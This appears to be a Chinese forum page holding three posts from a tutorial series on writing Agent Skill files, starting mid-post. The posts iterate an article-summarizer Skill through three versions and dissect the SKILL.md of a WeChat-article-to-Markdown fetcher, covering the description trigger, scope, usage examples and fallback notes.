管总结,各管一段。接下来你会经历三个版本的迭代。第一版凭直觉写,会暴露很多问题;第二版用第二篇的检查清单修,解决结构性问题;第三版基于实际踩坑优化,打磨细节。这个"从烂到好"的过程,比直接看一个成品更有价值。一、第一版:凭直觉写先不翻第二篇的检查清单,凭直觉写一版。大多数人第一次写 Skill 就是这种状态——知道大概该写什么,但不确定该写多细。---name: article-summarizerdescription: 总结文章内容---# 文章总结帮用户总结文章的要点。## 步骤1. 读取文章内容2. 提取核心观点3. 列出关键论据4. 给出总结就这么短。看起来好像也够了?让 Agent 用这个 Skill 去总结一篇公众号文章,看看实际效果。第一次跑,Agent 输出了这样的"总结":这篇文章主要讨论了 Agent 时代的 API 设计。作者认为 API 需要更加智能化,能够支持 Agent 的自动调用。文章还提到了几个具体的设计原则,包括减少交互轮次、提供结构化响应等。总的来说,这是一篇有价值的技术文章,对 API 设计者有参考意义。看着像那么回事?仔细看,问题很多。问题一:结构不稳定。 这次输出是一段话,换一篇文章再跑,可能变成三个要点,再换一篇变成五个要点加一个表格。每次格式都不一样。为什么?因为你没有定义输出格式,Agent 每次自由发挥。问题二:深度不够。 "作者认为 API 需要更加智能化"——这算什么核心观点?这是把文章标题换了个说法。"提取核心观点"这个指令太模糊了,什么算"核心"?Agent 不知道你的标准,所以只能给你最表面的概括。问题三:缺少判断力。 一篇技术文章和一篇商业分析,总结的侧重点应该完全不同。技术文章要抓方案和论证逻辑,商业分析要抓数据和结论。但 Skill 没有告诉 Agent 怎么区分,所以它对所有文章都用同一种方式概括。问题四:触发不了。 这个问题更致命。description 写的是"总结文章内容",但用户说的可能是"帮我提炼一下这篇文章的要点""给我做个读后摘要""归纳一下核心论点"。"提炼""要点""摘要""归纳"这些词和"总结"匹配不上,Agent 可能根本不会加载这个 Skill。第一版的问题不是"写错了",而是写得太粗。对照第二篇的检查清单,几乎每一项都没达标。二、第二版:拿着检查清单修翻出第二篇的检查清单,逐项修复。修 description第二篇讲过:description 是触发器,不是摘要。要写触发条件 + 覆盖用户的多种说法。---name:article-summarizerdescription:对Markdown格式的文章进行结构化要点总结。Usewhenuserasksto总结文章、提炼要点、文章摘要、归纳核心观点、读后总结、summarizearticle。---改了什么?"总结文章内容"→ 明确说了"结构化要点总结"(告诉 Agent 输出类型),加了 "Use when" 触发词列表,覆盖了"总结""提炼""摘要""归纳"等多种说法。修概述第二篇讲过:概述要划边界,不做广告。# Article Summarizer对已有的 Markdown 文章进行结构化要点提炼。不负责文章抓取(抓取请使用 wespy-fetcher),只处理已有内容的总结。关键是第二段:明确和 wespy-fetcher 的分工。为什么要写这个?因为用户经常会说"帮我下载并总结这篇公众号文章"。如果不划清边界,Agent 可能会试图用 article-summarizer 去做抓取的活,然后失败。写清楚"我只管总结,不管抓取",Agent 就知道应该先调 wespy-fetcher 再调 article-summarizer。修操作指南第一版的"步骤"太模糊了。第二篇讲过:操作指南要给具体场景的示例,不给抽象的通用模板。更重要的是——要定义输出格式。## 操作流程1. 通读全文,判断文章类型(技术文章、商业分析、观点评论、教程指南)2. 根据文章类型确定总结侧重点: - 技术文章:侧重方案设计和论证逻辑 - 商业分析:侧重数据、结论和商业洞察 - 观点评论:侧重核心主张和论证方式 - 教程指南:侧重关键步骤和注意事项3. 按以下固定格式输出总结:### 输出格式**一句话概括:**(不超过 30 字,说清楚这篇文章的核心主张)**文章类型:**(技术 / 商业 / 观点 / 教程)**核心观点(3 个):**1. [观点]:[一句话展开]2. [观点]:[一句话展开]3. [观点]:[一句话展开]**关键论据或数据:**(支撑上述观点的关键证据,2-3 条)**值得深思的点:**(文章中最有启发性的一个观点或问题)**一句话评价:**(这篇文章的价值和局限)这里做了三个关键改进:第一,加了文章类型判断。Agent 不再对所有文章用同一种方式概括,而是先判断类型,再决定侧重点。第二,定义了固定的输出格式。每个字段都有明确的要求——"一句话概括"不超过 30 字,"核心观点"固定 3 个并且要展开。Agent 不再有自由发挥的空间,每次输出结构一致。第三,强制做取舍。"核心观点 3 个"不是随便定的——强制 Agent 只挑 3 个最重要的,而不是把文章每个段落都概括一遍。取舍本身就是总结的核心能力。修补充说明## 注意事项- 如果文章过短(少于 200 字),提示用户内容不足以生成有意义的总结- 如果文章是纯列表或清单类内容(如"十大工具推荐"), 调整为"要点归类"模式而非"观点提炼"模式- 核心观点固定 3 个,不多不少——宁可舍弃次要观点,也不凑数- 一句话概括必须是文章的核心主张,不是标题的改写每一条都在堵一个具体的坑:"文章太短怎么办""清单类文章怎么办""Agent 凑数怎么办""概括变成改写标题怎么办"。第二版完整效果把修改后的完整 SKILL.md 交给 Agent,用同一篇文章再跑一次:一句话概括:Agent 时代的 API 应从"人类友好"转向"意图驱动"文章类型: 技术核心观点(3 个):交互模式需重构:传统 API 的分页、确认弹窗等交互模式为人类设计,会严重拖慢 Agent 的执行效率接口粒度需升级:应提供"意图级"接口而非"操作级"接口,让 Agent 用一次调用完成原本需要多步操作的任务文档受众需转变:API 文档的主要读者将从人类开发者变为 Agent,可读性需要为机器优化关键论据或数据:作者对比了同一任务在传统 REST API 和意图级 API 下的调用次数差异引用了多个云服务商正在进行的 API 改造案例值得深思的点: 如果 API 的主要消费者变成 Agent,那"开发者体验"这个概念本身是否需要重新定义?一句话评价: 观点前瞻且论证清晰,但缺少对过渡期兼容性问题的讨论好多了。格式稳定、有结构、有深度、有判断。和第一版完全不是一个水平。但别急着满意——多跑几篇不同类型的文章,新的问题就来了。三、第二版的坑:实际跑了才发现用第二版连续总结了十几篇文章后,发现两个靠"想"想不到、只有"用"才能发现的问题。坑一:"核心观点 3 个"不是万能的。有些文章确实有 3 个清晰的论点,3 个刚刚好。但有些文章其实就在反复论证一个核心主张——Agent 为了凑 3 个,把同一个观点拆成三种说法,看起来像 3 个其实是 1 个。还有一些深度长文,信息密度极高,3 个根本兜不住,硬压成 3 个会丢掉重要内容。固定数量在大多数情况下是好的(防止 Agent 罗列),但在极端情况下反而成了束缚。坑二:"值得深思的点"和"核心观点"经常撞车。Agent 在核心观点里已经挑了它认为最重要的 3 个点。到了"值得深思的点",它又从这 3 个里选了一个换个说法再写一遍。两个字段的内容高度重叠,"值得深思"变成了"核心观点的第四条"。同样的问题也出现在"一句话评价"上——有时候和"一句话概括"说的是同一件事,只是一个正面表述一个加了"但是"。这两个问题有一个共同点:它们不是第一版就能预见到的。 只有真正跑了十几篇不同类型的文章,才会发现"固定 3 个"在某些场景下不合理,才会发现字段之间会撞车。这就是为什么 Skill 需要迭代。不是写完就不管了,而是用起来,踩坑,改进,再用。四、第三版:基于踩坑优化针对上面的两个坑,做三个调整:调整一:核心观点数量改为弹性。把"核心观点(3 个)"改为"核心观点(2-5 个)",并加一条约束:**核心观点(2-5 个,根据文章内容密度调整):**- 短文或单一论点文章:2 个即可,不凑数- 常规文章:3 个为佳- 深度长文:最多 5 个,超过 5 个说明你在罗列而非提炼给 Agent 判断空间,但用上下限和指导原则防止它失控。调整二:合并重叠字段。把"值得深思的点"和"一句话评价"合并为一个"点评"字段:- 本 Skill 适合 500-10000 字的深度文章、分析或评论- 短消息、新闻快讯(少于 500 字)不需要这种级别的总结,直接阅读原文更快- 超长文章(超过 10000 字)建议先分段,再逐段总结这条是"防过度使用"——不是所有文章都值得做结构化总结。一条 200 字的新闻快讯,你非要用这个 Skill 去"提炼核心观点",出来的总结可能比原文还长。第三版完整 SKILL.md把所有修改整合到一起:---name: article-summarizerdescription: 对 Markdown 格式的文章进行结构化要点总结。 Use when user asks to 总结文章、提炼要点、文章摘要、 归纳核心观点、读后总结、summarize article。---# Article Summarizer对已有的 Markdown 文章进行结构化要点提炼。不负责文章抓取(抓取请使用 wespy-fetcher),只处理已有内容的总结。## 操作流程1. 通读全文,判断文章类型(技术文章、商业分析、观点评论、教程指南)2. 根据文章类型确定总结侧重点: - 技术文章:侧重方案设计和论证逻辑 - 商业分析:侧重数据、结论和商业洞察 - 观点评论:侧重核心主张和论证方式 - 教程指南:侧重关键步骤和注意事项3. 按以下格式输出总结### 输出格式**一句话概括:**(不超过 30 字,说清楚文章的核心主张,不是标题的改写)**文章类型:**(技术 / 商业 / 观点 / 教程)**核心观点(2-5 个,根据文章内容密度调整):**- 短文或单一论点文章:2 个即可,不凑数- 常规文章:3 个为佳- 深度长文:最多 5 个,超过 5 个说明在罗列而非提炼每个观点格式:1. [观点]:[一句话展开]**关键论据或数据:**(支撑核心观点的关键证据,2-3 条)**点评:**(这篇文章最大的价值是什么,以及它没有覆盖到或可以进一步探讨的地方)## 注意事项- 本 Skill 适合 500-10000 字的深度文章、分析或评论- 短消息、新闻快讯(少于 500 字)不需要结构化总结,提示用户直接阅读原文- 超长文章(超过 10000 字)建议先分段再逐段总结- 如果文章是纯列表或清单类内容(如"十大工具推荐"), 调整为"要点归类"模式而非"观点提炼"模式- 一句话概括必须是文章的核心主张,不是标题的改写- 核心观点之间不能有明显重叠,每个观点必须提供独立的信息增量这就是你的第一个 Skill。可以直接复制使用。五、三版对比:从"能用"到"好用"差在哪把三个版本的关键差异放在一起看: 这张表里最值得关注的不是第三版有多完美,而是每次改进的来源不同:第一版 → 第二版的改进来自知识——对照检查清单,知道该写什么。任何人读完第二篇都能做到。第二版 → 第三版的改进来自经验——只有实际跑了十几篇文章,才会发现"3 个观点不够弹性""字段之间会撞车"。这些坑不是理论能预见的。这就是写 Skill 的正确姿势:第一版靠直觉,第二版靠知识,第三版靠经验。不要试图一次写对,而是快速写完,跑起来,踩坑,迭代。六、一个延伸思考回头看这个 article-summarizer,它和第一篇的 wespy-fetcher 天然形成配合:用户说"帮我保存并总结这篇公众号文章"Agent 先调 wespy-fetcher 抓取文章,存成 Markdown再调 article-summarizer 对这个 Markdown 文件做结构化总结两个 Skill 各管一段,串起来就是一个完整的工作流这不是巧合。好的 Skill 天然是单一职责的——一个 Skill 只做一件事,做好一件事。需要更复杂的能力?组合多个 Skill,而不是把所有功能塞进一个 Skill。这个"Skill 之间怎么配合"的话题,我们在后面的文章里展开。下一篇预告你已经写出了自己的第一个 Skill,也体验了三轮迭代。但你可能注意到了:每一轮都要自己思考问题在哪、怎么改、改完再跑一遍验证。这还只是一个简单的总结 Skill——如果是更复杂的场景,迭代成本会更高。有没有办法让这个过程更高效?下一篇,我们介绍 Anthropic 官方出品的 skill-creator ——一个帮你创建、测试和迭代 Skill 的"元技能",用 AI 来写 AI 的工作手册。「从零开始写好 Skill」系列是「从零开始理解 Agent」系列的姊妹篇。如果你还没有读过 Agent 系列,建议先从 第一篇:Agent 的底层原理 开始。  扫码回复“Agent” 进入技术交流群 
  • [技术干货] 从零开始写好 Skill(二):一个好 Skill 长什么样——SKILL.md 剖析
    欢迎阅读「从零开始写好 Skill」系列 —— 上一个系列我们用 7 篇文章拆解了 Agent 的骨架,这个系列教你给 Agent 写"工作手册"。第一篇:Skill 是什么?为什么你应该关心它第二篇:一个好 Skill 长什么样(本文)第三篇:手把手写你的第一个 Skill(即将更新)作者:十一开场:看到结构 ≠ 会写结构上一篇,我们看到了 wespy-fetcher 的 SKILL.md,知道它分成几个部分,也感受到了"有 Skill vs 没 Skill"的巨大差距。但"看到"和"会写"是两回事。同样是写 description,为什么有的 Skill 一触即发,有的被 Agent 视而不见?同样是写操作步骤,为什么有的让 Agent 一步到位,有的让 Agent 反复出错?这篇我们就拿 wespy-fetcher 的真实 SKILL.md 开刀,逐段拆解。不是再讲一遍"这段是什么"——上一篇已经讲过了。这次讲的是:这段怎么写才有效,写错了会怎样。一、先看全貌:一个 Skill 的四层骨架把 wespy-fetcher 的 SKILL.md 完整放一次,这次不加批注,先看原貌:---name: wespy-fetcherdescription: 获取并转换微信公众号/网页文章为 Markdown 的封装 Skill,  完整支持 WeSpy 的单篇抓取、微信专辑批量下载、专辑列表获取、  HTML/JSON/Markdown 多格式输出。  Use when user asks to 抓取微信公众号文章、公众号专辑批量下载、  URL 转 Markdown、保存微信文章、mp.weixin.qq.com to markdown.---# WeSpy Fetcher封装 tianchangNorth/WeSpy 的完整能力。## 功能范围(与 WeSpy 对齐)- 单篇文章抓取(微信公众号 / 通用网页 / 掘金)- 微信专辑文章列表获取(--album-only)- 微信专辑批量下载(--max-articles)- 多格式输出(Markdown 默认,支持 HTML / JSON / 全部)## 使用脚本位置:scripts/wespy_cli.py# 单篇文章(默认输出 markdown)python3 scripts/wespy_cli.py "https://mp.weixin.qq.com/s/xxxxx"# 专辑批量下载python3 scripts/wespy_cli.py "https://mp.weixin.qq.com/mp/appmsgalbum?..." --max-articles 20## 实现说明- 优先使用本地源码路径 ~/Documents/QNSZ/project/WeSpy- 若本地不存在则自动执行 git clone 到该目录- 通过导入 wespy.main.main 直接调用上游 CLI,保持行为一致这份文件虽然不长,但有清晰的四层结构。Agent 读取它的过程,就像你面试一个人一样,是分层递进的:第一层:头部(YAML frontmatter)—— 简历筛选Agent 启动时扫描所有 Skill 的 description,判断"这个任务该不该用这个 Skill"。绝大多数 Skill 在这一步就被跳过了。如果你的 description 写得不好,Agent 根本不会往下读。第二层:概述(标题 + 功能范围)—— 电话面试通过了第一层筛选,Agent 会快速读一下概述,确认能力范围是否匹配。"这个 Skill 能处理专辑批量下载吗?"——扫一眼功能范围列表就知道了。第三层:操作指南(使用方式、命令、参数)—— 入职培训确认要用这个 Skill 了,Agent 开始读具体的操作步骤。"脚本在哪?怎么调用?参数怎么传?"——这一层给出所有执行细节。第四层:补充说明(实现细节、依赖、兜底逻辑)—— 应急手册执行过程中遇到问题了,Agent 来查这一层。"WeSpy 没装怎么办?"——补充说明告诉它自动 clone。记住这个分层逻辑,它决定了你写 SKILL.md 时每一段应该放什么、不应该放什么。二、头部:description 是触发器,不是摘要头部的 YAML frontmatter 是整个 Skill 最关键的几行。写错了,后面的内容写得再好也没用——因为 Agent 根本不会读到后面。再看一遍 wespy-fetcher 的 description:description:获取并转换微信公众号/网页文章为Markdown的封装Skill,完整支持WeSpy的单篇抓取、微信专辑批量下载、专辑列表获取、HTML/JSON/Markdown多格式输出。Usewhenuserasksto抓取微信公众号文章、公众号专辑批量下载、URL转Markdown、保存微信文章、mp.weixin.qq.comtomarkdown.这段 description 做对了三件事:第一,前半段是能力声明——"我能做什么"。"获取并转换微信公众号/网页文章为 Markdown",一句话讲清楚核心能力。Agent 扫到这里就知道:这是一个处理公众号文章的 Skill,不是处理视频的,不是处理 PDF 的。第二,后半段是触发词列表——"用户怎么说时该想到我"。"Use when user asks to"后面跟了一串关键词:抓取微信公众号文章、公众号专辑批量下载、URL 转 Markdown、保存微信文章、mp.weixin.qq.com to markdown。这些不是给人看的,是给 Agent 看的。用户说"帮我抓取这篇公众号",Agent 拿"抓取"和"公众号"去匹配所有 Skill 的 description,命中了"抓取微信公众号文章",于是加载这个 Skill。第三,覆盖了用户的多种说法。同一件事,不同的人会用不同的词。有人说"抓取",有人说"下载",有人说"保存",有人直接丢一个 mp.weixin.qq.com 的链接。好的 description 把这些变体都列上了。现在看一个反面。假如 description 写成这样:description:一个用于处理微信文章的工具。问题在哪?"处理"太模糊了——是抓取?翻译?排版?总结?Agent 无法判断这个 Skill 是否匹配当前任务。触发词也太少,用户说"帮我下载这篇公众号文章"的时候,"下载"和"处理"匹配不上。再看一个另外的极端——写太长了:description:这是一个非常强大的工具,可以帮助你从微信公众号平台上  获取任意文章的完整内容,包括文字、图片和格式信息,它使用了  先进的爬虫技术来绕过微信的反爬机制,支持多种输出格式,  并且可以批量处理微信专辑中的所有文章......问题:Agent 扫描 description 时需要快速判断,不是来读论文的。冗长的描述反而增加了误匹配的风险,而且真正有用的触发词被淹没在废话里了。description 的写作公式:一句话能力声明 + "Use when user asks to" + 用户可能说的各种关键词简洁、精准、覆盖变体。就这样。三、概述:划边界,不是做广告通过了 description 的筛选,Agent 开始读概述。wespy-fetcher 的概述只有一句话:封装 tianchangNorth/WeSpy 的完整能力。这句话的价值不在于它说了什么,而在于它划了边界。它告诉 Agent:这个 Skill 的能力范围 = WeSpy 的能力范围,不多不少。Agent 不会拿它去干 WeSpy 做不到的事。接着是"功能范围"列表:- 单篇文章抓取(微信公众号 / 通用网页 / 掘金)- 微信专辑文章列表获取(--album-only)- 微信专辑批量下载(--max-articles)- 多格式输出(Markdown 默认,支持 HTML / JSON / 全部)这段的作用是让 Agent 快速做能力匹配。用户说"帮我批量下载这个专辑",Agent 扫一眼功能范围,看到"微信专辑批量下载",确认匹配,往下读操作步骤。用户说"帮我把这篇文章翻译成英文",Agent 扫一眼,没有"翻译"相关的功能,跳过这个 Skill,去找别的。这里有个常见的坑:在概述里塞太多操作细节。比如有人会在功能范围里写:- 单篇文章抓取(使用 python3 scripts/wespy_cli.py 命令,  需要先确保 WeSpy 已安装在 ~/Documents/QNSZ/project/WeSpy 目录,  如果没有安装会自动 git clone...)这样写的问题是:Agent 在概述阶段只需要判断"能不能做",不需要知道"具体怎么做"。操作细节应该放在下一层。概述阶段塞太多信息,反而干扰了 Agent 的匹配判断。概述的写作原则:说清楚能做什么、不能做什么,其他的一概不说。四、操作指南:Agent 的执行剧本确认要用这个 Skill 了,Agent 进入操作指南。这是 Skill 的核心——Agent 拿到任务后,具体按什么步骤做。wespy-fetcher 的操作指南长这样:## 使用脚本位置:scripts/wespy_cli.py# 单篇文章(默认输出 markdown)python3 scripts/wespy_cli.py "https://mp.weixin.qq.com/s/xxxxx"# 专辑批量下载python3 scripts/wespy_cli.py "https://mp.weixin.qq.com/mp/appmsgalbum?..." --max-articles 20注意它做对了什么:给了多个具体场景的命令示例,而不是只给一个通用命令。"单篇文章"和"专辑批量下载"是两个不同的使用场景,用户的需求可能是其中任何一个。Agent 看到这些示例,能根据用户的具体需求选择最匹配的命令,而不是每次都用同一个。如果操作指南只写成这样:## 使用python3 scripts/wespy_cli.py [URL] [OPTIONS]Agent 就得自己猜:用户要批量下载的时候,OPTIONS 该填什么?--max-articles 还是 --batch?--album-only 是什么意思?猜错了就执行失败。操作指南的第一原则:给具体场景的示例,不要给抽象的通用模板。不过,这里要指出一个重要的事实:wespy-fetcher 用的是"命令示例"这种写法,因为它本质上是一个工具封装——把一个已有的命令行工具包装成 Skill,教 Agent 怎么调用。但不是所有 Skill 都是工具封装。不同类型的 Skill,操作指南的写法完全不同:如果你的 Skill 是一个生成器(比如"生成技术报告"),操作指南应该写成:加载模板 → 向用户收集信息 → 填充模板 → 输出文档。如果你的 Skill 是一个审查器(比如"代码审查"),操作指南应该写成:加载审查清单 → 逐条检查用户代码 → 按严重程度分组 → 输出结构化报告。如果你的 Skill 是一个流水线(比如"从代码生成 API 文档"),操作指南应该写成:步骤1 → 检查点(用户确认)→ 步骤2 → 检查点 → 步骤3。如果你的 Skill 是一个采访模式(比如"项目规划"),操作指南应该写成:按顺序提问 → 等待用户回答 → 收集完信息后再综合输出。不允许 Agent 在收集完之前就开始行动。操作指南的写法取决于你的 Skill 属于哪种类型,没有万能格式。 这些类型我们在后续文章会展开讲,这里先建立一个认知:看到一个 Skill 的操作指南,先判断它是哪种类型,再评估它写得好不好。五、补充说明:你以为不重要的部分,其实最防坑wespy-fetcher 的"实现说明":- 优先使用本地源码路径 ~/Documents/QNSZ/project/WeSpy- 若本地不存在则自动执行 git clone 到该目录- 通过导入 wespy.main.main 直接调用上游 CLI,保持行为一致很多人写 Skill 的时候,把精力花在 description 和操作指南上,补充说明随便写两句甚至不写。这是一个很大的误区。想想看:Agent 按照操作指南开始执行,调用 python3 scripts/wespy_cli.py,结果发现 WeSpy 没安装。怎么办?如果没有补充说明,Agent 有几种可能的反应:直接报错:"WeSpy 未安装,请手动安装后重试"——回到了上一篇那个"甩锅"的状态自己猜一个安装方式:pip install wespy——如果猜错了,装了个完全不相关的包去网上搜索安装方法——浪费时间,而且可能搜到过时的信息但有了这三行补充说明,Agent 知道:先检查 ~/Documents/QNSZ/project/WeSpy 这个路径,有就用,没有就 git clone 到这里。流程闭环,不会卡死。这就是补充说明的核心价值:把 Agent 执行过程中可能遇到的"岔路口"提前堵死。什么是"岔路口"?就是那些 Agent 需要做判断、可能判断错的地方:依赖不存在怎么办网络超时怎么办输入格式不对怎么办输出目录不存在怎么办同名文件已经存在,覆盖还是跳过每一个你踩过的坑,都应该写进补充说明。Skill 会随着使用越来越"聪明",就是因为踩过的坑都沉淀在这里了。六、纠正一个简化:Skill 不只是一个文件第一篇为了降低门槛,我们说"Skill 就是一个 Markdown 文件"。这个说法帮你建立了最初的认知,但严格来说不够准确。Skill 是一个文件夹,SKILL.md 只是入口。一个完整的 Skill 文件夹可以包含:wespy-fetcher/├── SKILL.md            ← 入口文件,Agent 首先读这个├── scripts/│   └── wespy_cli.py    ← 可执行脚本,Agent 调用它来完成任务├── references/         ← 参考资料(API 文档、编码规范等)└── assets/             ← 模板、示例输出、配置文件等SKILL.md 是大脑——告诉 Agent 该做什么。scripts/ 是手脚——提供实际执行的脚本。references/ 是参考书——存放 Agent 可能需要查阅的背景知识。assets/ 是工具箱——存放模板、配置等辅助资源。Agent 不是读完 SKILL.md 就凭空干活——它会探索整个文件夹,在需要的时候读取对应的文件。wespy-fetcher 的操作指南里写了 scripts/wespy_cli.py,Agent 执行时就会去 scripts/ 目录下找这个脚本。这引出一个重要的实践原则:SKILL.md 本身应该保持精简,建议控制在 500 行以内。 超出的内容拆分到子文件里,在 SKILL.md 中用相对路径引用。为什么?因为 Agent 的上下文窗口是有限的。如果你把一个 3000 行的 API 文档塞进 SKILL.md,Agent 每次加载这个 Skill 都要吃掉大量的上下文空间,留给其他任务的空间就少了。更好的做法是:SKILL.md 里写"详细的 API 规范见 references/api.md",Agent 只在真正需要查 API 的时候才去加载那个文件。这就是渐进式揭示——按需加载,不一次性全塞进去。七、一个检查清单:你的 SKILL.md 写对了吗?拆解完了,给你一份可以直接带走的检查清单。下次写完一个 SKILL.md,对照着过一遍:头部(description):[ ] 写的是触发条件,不是功能摘要[ ] 包含"Use when user asks to"或类似的触发词列表[ ] 覆盖了用户可能的多种表达方式(同一件事的不同说法)[ ] 长度适中,不超过 5 行概述:[ ] 一句话说清楚这个 Skill 的能力边界[ ] 功能范围列表只列"能做什么",不包含操作细节操作指南:[ ] 给了具体场景的命令或步骤示例[ ] 不同使用场景有不同的示例(不只是一个通用模板)[ ] 写法匹配 Skill 的类型(工具封装、生成器、审查器、流水线、采访模式)补充说明:[ ] 覆盖了依赖缺失的兜底方案[ ] 覆盖了常见的错误场景和处理方式[ ] 踩过的坑都沉淀在这里了整体结构:[ ] SKILL.md 控制在 500 行以内[ ] 超出的内容拆到了 references/、scripts/、assets/ 子目录[ ] 四层结构清晰:头部 → 概述 → 操作指南 → 补充说明下一篇预告现在你知道了一个好 Skill 长什么样,也有了检查清单可以对照。但纸上得来终觉浅——读一百个别人的 Skill,不如自己从零写一个。下一篇,我们从一个真实需求出发,手把手写一个 Skill。你会看到完整的迭代过程:第一版写得很粗糙,Agent 用着各种出错;一步步修改,踩坑,补充,直到第三版终于好用。这个"从烂到好"的过程,比直接看一个成品更有价值。「从零开始写好 Skill」系列是「从零开始理解 Agent」系列的姊妹篇。如果你还没有读过 Agent 系列,建议先从  第一篇:Agent 的底层原理  开始。  扫码回复“Agent” 进入技术交流群 
  • [技术干货] 从零开始写好 Skill(一):Skill 是什么?为什么你应该关心它
    欢迎阅读「从零开始写好 Skill」系列文章 —— 上一个系列我们用 7 篇文章拆解了 Agent 的骨架,这个系列教你给 Agent 写"工作手册"。第一篇:Skill 是什么?为什么你应该关心它(本文)第二篇:一个好 Skill 长什么样(即将更新)第三篇:手把手写你的第一个 Skill(即将更新)作者:十一开场:一个所有人都遇到过的场景朋友在群里转了一篇公众号文章。你点开看了,写得真好,想存下来以后反复看。于是你把链接丢给 Agent:" 帮我把这篇公众号文章下载到本地,转成 Markdown,再给我一个要点总结。"Agent 回你:抱歉,我无法直接访问微信公众号的链接。微信公众号文章有反爬机制,我没有办法获取页面内容。不过你可以试试以下方法:1. 在浏览器中打开文章,手动复制全文 2. 使用"保存为 PDF"功能 3. 使用第三方工具如 MarkDownload 浏览器插件如果你把文章内容粘贴给我,我可以帮你整理和总结。对话到这里就死了。Agent 很礼貌,很诚实,给了你三条"建议"——但没有一条是它帮你做的。你还是得自己动手复制粘贴。这不叫帮忙,这叫甩锅。换个 Agent 试试?不,不用换 Agent。同一个 Agent,同一个模型,同一个链接,再来一次。这次唯一的区别是:你给它装了一个叫 wespy-fetcher 的 Skill。" 帮我把这篇公众号文章下载到本地,转成 Markdown,再给我一个要点总结。"Agent 回你:好的,我来获取这篇文章。(自动调用 wespy-fetcher,抓取公众号文章内容,转为 Markdown)文章已保存到 ~/Documents/articles/2025-03-12-agent-native-api.md。以下是要点总结:核心观点: Agent 时代的云服务 API 需要从"人类友好"转向"Agent 友好"——减少交互轮次、提供结构化响应、支持批量操作。三个关键论点:1. 传统 REST API 为人类设计的分页、确认弹窗等交互模式会严重拖慢 Agent 的执行效率2. Agent 友好的 API 应该提供"意图级"接口,而不是"操作级"接口3. 未来 API 的文档本身就是写给 Agent 看的,可读性需要为机器优化需要我对其中某个部分展开分析吗?同一个 Agent。同一个模型。同一个链接。第一次说"我做不到",第二次说"做好了"。区别在哪?区别在于,第二次它手里多了一份"工作手册"。这份手册告诉它:遇到公众号链接时,不要说"我做不到"——去调用一个叫 WeSpy 的工具,它能帮你绕过反爬机制抓取内容。手册还告诉它:抓完之后转成 Markdown 格式,保存到指定目录,文件名用日期加标题。这份工作手册,就叫 Skill。打个比方:你公司来了个新员工,聪明、勤快、学啥都快——但他第一天上班,啥流程都不知道。你让他"帮忙处理一下客户投诉",他可能直接回复客户说"不好意思我们解决不了"。不是他笨,是他不知道公司有工单系统、有处理流程、有需要抄送的负责人。给他一份《客户投诉处理 SOP》,他立刻就能按流程操作。Agent 也是一样。模型就是那个聪明的新员工,Skill 就是你递给他的那份 SOP。一、Skill 到底是什么?上面用比喻讲清楚了 Skill 的角色——Agent 的 SOP。但光知道"它是个 SOP"还不够,我们拆开看看它具体包含什么。一个 Skill 就是一个 Markdown 文件,通常叫 SKILL.md,用人类的语言写清楚三件事:什么时候该用我——遇到什么样的任务,Agent 应该想到这个 Skill具体怎么做——一步一步的操作流程,用什么工具、按什么顺序注意什么——边界条件、常见坑、出错了怎么办就这三件事,不多不少。还是用公众号那个例子来说:wespy-fetcher 这个 Skill 告诉 Agent 的就是——"当你看到 mp.weixin.qq.com 的链接,别说做不到,去调用 WeSpy 这个工具,按这个步骤抓取内容,保存成 Markdown"。Agent 的智商没变,但它突然"知道该怎么做了"。二、为什么没有 Skill 的 Agent 会说"我做不到"?这个问题值得多想一步。Agent 说"我无法访问公众号链接",它在撒谎吗?不是。它说的是事实——以它当前掌握的信息和工具,它确实做不到。就像那个新员工说"我不知道怎么处理投诉"也不是在偷懒,他是真不知道。问题出在信息差。Agent 的底座模型知道的东西很多——编程、写作、分析、翻译——但它不知道有一个叫 WeSpy 的开源工具可以抓取公众号内容。它也不知道该把抓回来的内容存到哪个目录、用什么格式命名。这些"领域知识"不在模型的训练数据里,或者即使在,它也不知道什么时候该用。Skill 做的事情就是填补这个信息差。它不是让 Agent 变得更聪明(模型能力没变),而是告诉 Agent:你其实有这个能力,只是你不知道而已。这里有一个工具,这样调用,按这个流程走。这就是为什么 Skill 的核心价值不是"提升质量",而是扩展能力边界。没有 Skill,Agent 只能做模型本身"知道怎么做"的事;有了 Skill,Agent 能做任何"有人教它怎么做"的事。三、Skill 和 Prompt 有什么区别?你可能会想:这不就是写一段更详细的 Prompt 吗?不完全一样。区别在三个地方:1. 触发方式不同Prompt 是你每次对话时手动输入的。Skill 是预先写好、自动匹配的——Agent 遇到符合条件的任务,会自己去读对应的 Skill,不需要你每次都把操作流程重复一遍。你不会每次让新员工处理投诉时都把 SOP 念一遍。你把 SOP 放在那里,他遇到了自己去查。Skill 是同一个逻辑。2. 复用性不同一段 Prompt 是一次性的,换个对话窗口就没了。Skill 是持久化的文件,写一次,所有后续对话都能自动生效。你可以分享给同事,发布到 GitHub 让全世界用。上面提到的 wespy-fetcher 就是一个开源的 Skill(GitHub 仓库[1])。作者把自己的经验写成了一个 SKILL.md 文件,任何人装上就能用,不需要重新摸索"公众号文章怎么抓"这个问题。3. 结构化程度不同Prompt 是自由文本,怎么写都行。Skill 有相对固定的结构——什么时候触发、具体步骤、依赖什么工具、注意事项。这种结构化让 Agent 更容易"读懂"你的意图。当然,从本质上说,Skill 最终也是以文本的形式注入到 Agent 的上下文中的。你可以把 Skill 理解为一种结构化的、可复用的、自动触发的 Prompt。但正是"结构化"、"可复用"、"自动触发"这三个特性,让它和随手写的 Prompt 有了质的差别。四、一个真实的 Skill 长什么样?说了这么多,Skill 文件到底长什么样?以刚才的 wespy-fetcher 为例,下面是它真实的 SKILL.md 文件(来自 GitHub仓库[2])。别被下面这段"代码"吓到——它其实就是一份分了几个章节的文档,跟你在 Word 里写标题加正文没什么区别,只不过格式是 Markdown。我加了批注帮你看懂每一段在干什么:---name: wespy-fetcherdescription: 获取并转换微信公众号/网页文章为 Markdown 的封装 Skill, 完整支持 WeSpy 的单篇抓取、微信专辑批量下载、专辑列表获取、 HTML/JSON/Markdown 多格式输出。 Use when user asks to 抓取微信公众号文章、公众号专辑批量下载、 URL 转 Markdown、保存微信文章、mp.weixin.qq.com to markdown.---# ↑ 这段是"身份证":告诉 Agent 这个 Skill 叫什么、什么时候该用它。# WeSpy Fetcher封装 tianchangNorth/WeSpy 的完整能力。## 功能范围(与 WeSpy 对齐)# ↑ 这段是"能力清单":告诉 Agent 你能做哪些事。- 单篇文章抓取(微信公众号 / 通用网页 / 掘金)- 微信专辑文章列表获取(--album-only)- 微信专辑批量下载(--max-articles)- 多格式输出(Markdown 默认,支持 HTML / JSON / 全部)## 使用# ↑ 这段是"操作手册":一步步告诉 Agent 